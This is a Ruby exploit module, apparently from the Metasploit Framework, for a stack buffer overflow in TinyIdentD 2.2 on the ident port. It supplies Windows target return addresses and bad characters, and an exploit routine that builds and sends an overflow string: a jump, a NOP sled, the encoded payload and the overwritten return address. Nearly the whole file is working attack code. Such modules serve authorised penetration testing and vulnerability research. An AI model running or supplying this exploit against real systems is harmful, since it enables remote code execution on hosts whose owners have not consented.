77 lines
1.8 KiB
Ruby
77 lines
1.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Misc::TinyIdentd < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TinyIdentD 2.2 Stack Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
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If we send a long string to the ident service we can overwrite the return
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address and execute arbitrary code. Credit to Maarten Boone.
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},
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'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
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'Version' => '$Revision$',
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'References' =>
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[
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['BID', '23981'],
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],
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x0d\x20\x0a"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
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['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi
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],
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'Privileged' => false,
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'DisclosureDate' => 'May 14 2007'
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))
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register_options([ Opt::RPORT(113) ], self.class)
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end
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def exploit
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connect
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pattern = "\xeb\x20"+", 28 : USERID : UNIX :";
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pattern << make_nops(0x1eb - payload.encoded.length)
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pattern << payload.encoded
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pattern << [ target.ret ].pack('V')
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request = pattern + "\n"
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print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
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sock.put(request)
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handler
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disconnect
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end
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end
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end
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